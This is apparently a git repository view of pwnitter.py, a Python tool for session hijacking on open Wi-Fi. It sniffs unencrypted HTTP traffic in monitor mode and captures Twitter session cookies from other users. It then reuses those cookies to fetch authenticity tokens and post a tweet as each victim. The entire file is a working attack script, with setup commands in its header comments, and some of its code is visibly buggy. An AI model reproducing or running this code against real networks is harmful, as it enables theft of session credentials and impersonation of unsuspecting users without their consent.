git.maemo.org Git - pwnitter/blob - pwnitter.py

   1 #!/usr/bin/env python
   2 # On Linux (as root):
   3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
   4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
   5 #  * ./idiocy.py -i mon0
   6
   7 import dbus.service
   8 import dbus.mainloop.glib
   9 import getopt, sys, pcap, dpkt, re, httplib, urllib
  10 import logging
  11 import socket
  12 import time
  13 import gobject
  14 import select
  15 import subprocess
  16
  17 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
  18
  19 def usage():
  20     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0]
  21     sys.exit(1)
  22
  23 NAME = 'de.cryptobitch.muelli.Pwnitter'
  24
  25 class Pwnitter(dbus.service.Object):
  26     def __init__(self, bus, object_name, device='mon0'):
  27         super(Pwnitter, self).__init__(bus, object_name)
  28         self.device = device
  29
  30         self.status = status
  31         self.is_running = False
  32
  33     def setup_monitor(device='mon0'):
  34         # FIXME: Replace hardcoded interface
  35         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
  36         subprocess.call(cmd)
  37         cmd = '/sbin/ifconfig mon0 up'.split()
  38         subprocess.call(cmd)
  39
  40     @dbus.service.method(NAME,
  41                          in_signature='', out_signature='')
  42     def Start(self, filename=None):
  43         # FIXME: Prevent double Start()
  44         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
  45             self.setup_monitor(self.device)
  46         self.is_running = True
  47         try:
  48             self.cap = pcap.pcap(device)
  49         except OSError, e:
  50             print "Error setting up %s" % device
  51             raise e
  52         self.cap.setfilter('dst port 80')
  53         cap_fileno = self.cap.fileno()
  54         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device)
  55
  56     @dbus.service.method(NAME,
  57                          in_signature='s', out_signature='')
  58     def StartFromFile(self, filename):
  59         return self.Start(filename=filename)
  60
  61
  62     def cap_readable_callback(self, source, condition, device):
  63         return self.pwn(device, self.MessageSent)
  64
  65     @dbus.service.signal(NAME)
  66     def MessageSent(self, who):
  67         print "Emitting MessageSent"
  68         return who
  69         return False
  70         pass
  71
  72     @dbus.service.method(NAME,
  73                          in_signature='s', out_signature='')
  74     def SetMessage(self, message):
  75         self.status = message
  76
  77     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
  78                          in_signature='', out_signature='s')
  79     def GetMessage(self):
  80         return self.status
  81
  82
  83     def tear_down_monitor(device='mon0'):
  84         cmd = '/sbin/ifconfig mon0 down'.split()
  85         subprocess.call(cmd)
  86         cmd = '/usr/sbin/iw dev mon0 del'.split()
  87         subprocess.call(cmd)
  88
  89     @dbus.service.method(NAME,
  90                          in_signature='', out_signature='')
  91     def Stop(self):
  92         self.is_running = False
  93         print "Receive Stop"
  94         gobject.source_remove(self.source_id)
  95         self.tear_down_monitor(self.device)
  96         loop.quit()
  97
  98
  99     def pwn(self, device, tweeted_callback=None):
 100         processed = {}
 101         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
 102             ts, raw = self.cap.next()
 103             eth = dpkt.ethernet.Ethernet(raw)
 104             #print 'got a packet'
 105             # Depending on platform, we can either get fully formed packets or unclassified radio data
 106             if isinstance(eth.data, str):
 107                 data = eth.data
 108             else:
 109                 data = eth.data.data.data
 110
 111             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
 112             if hostMatches:
 113                 print 'Host matched'
 114                 host = hostMatches.group(1)
 115
 116                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
 117                 if cookieMatches:
 118                     cookie = cookieMatches.group(1)
 119
 120                     headers = {
 121                         "User-Agent": "Mozilla/5.0",
 122                         "Cookie": cookie,
 123                     }
 124
 125                     conn = httplib.HTTPSConnection(host)
 126                     try:
 127                         conn.request("GET", "/", None, headers)
 128                     except socket.error, e:
 129                         print e
 130                     else:
 131                         response = conn.getresponse()
 132                         page = response.read()
 133
 134                         # Newtwitter and Oldtwitter have different formatting, so be lax
 135                         authToken = ''
 136
 137                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
 138                         if formMatches:
 139                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
 140
 141                             if authMatches:
 142                                 authToken = authMatches.group(1)
 143
 144                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
 145                         if not nameMatches:
 146                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
 147
 148                         name = ''
 149                         if nameMatches:
 150                             name = nameMatches.group(1)
 151
 152
 153                         # We don't want to repeatedly spam people
 154                         # FIXME: What the fuck logic. Please clean up
 155                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
 156                             headers = {
 157                                 "User-Agent": "Mozilla/5.0",
 158                                 "Accept": "application/json, text/javascript, */*",
 159                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
 160                                 "X-Requested-With": "XMLHttpRequest",
 161                                 "X-PHX": "true",
 162                                 "Referer": "http://api.twitter.com/p_receiver.html",
 163                                 "Cookie": cookie
 164                             }
 165
 166
 167                             print 'Issueing connection'
 168                             if host == 'mobile.twitter.com':
 169
 170                                 params = urllib.urlencode({
 171                                     'tweet[text]': self.status,
 172                                     'authenticity_token': authToken
 173                                 })
 174
 175                                 conn = httplib.HTTPConnection("mobile.twitter.com")
 176                                 conn.request("POST", "/", params, headers)
 177
 178                             else:
 179
 180                                 params = urllib.urlencode({
 181                                     'status': self.status,
 182                                     'post_authenticity_token': authToken
 183                                 })
 184
 185                                 conn = httplib.HTTPConnection("api.twitter.com")
 186                                 conn.request("POST", "/1/statuses/update.json", params, headers)
 187
 188
 189                             response = conn.getresponse()
 190                             print 'Got response: %s' % response.status
 191                             if response.status == 200 or response.status == 302 or response.status == 403:
 192
 193                                 if name:
 194                                     processed[name] = 1
 195
 196                                 # 403 is a dupe tweet
 197                                 if response.status != 403:
 198                                     print "Successfully tweeted as %s" % name
 199                                     print 'calling %s' % tweeted_callback
 200                                     if tweeted_callback:
 201                                         tweeted_callback(name)
 202                                 else:
 203                                     print 'Already tweeted as %s' % name
 204
 205                             else:
 206
 207                                 print "FAILED to tweet as %s, debug follows:" % name
 208                                 print response.status, response.reason
 209                                 print response.read() + "\n"
 210         return self.is_running # Execute next time, we're idle
 211     # FIXME: Ideally, check     whether Pcap has got data for us
 212
 213 def main():
 214
 215     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
 216     device = None
 217     for o, a in opts:
 218         if o == '-i':
 219             device = a
 220         else:
 221             usage()
 222     #pwn(device)
 223
 224
 225
 226 if __name__ == '__main__':
 227     from optparse import OptionParser
 228     parser = OptionParser("usage: %prog [options]")
 229     parser.add_option("-l", "--loglevel", dest="loglevel",
 230                       help="Sets the loglevel to one of debug, info, warn, error, critical")
 231     parser.add_option("-s", "--session", dest="use_session_bus",
 232                       action="store_true", default=False,
 233                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
 234     (options, args) = parser.parse_args()
 235     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
 236                 'warn': logging.WARN, 'error': logging.ERROR,
 237                 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
 238     logging.basicConfig(level=loglevel)
 239     log = logging.getLogger("Main")
 240
 241     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
 242
 243     if options.use_session_bus:
 244         session_bus = dbus.SessionBus()
 245     else:
 246         session_bus = dbus.SystemBus()
 247     name = dbus.service.BusName(NAME, session_bus)
 248     pwnitter = Pwnitter(session_bus, '/Pwnitter')
 249     #object.Start()
 250
 251     loop = gobject.MainLoop()
 252     print "Running example signal emitter service."
 253     # FIXME: This is debug code
 254     #gobject.idle_add(pwnitter.MessageSent)
 255
 256     loop.run()
 257     print "Exiting for whatever reason"
 258     #main()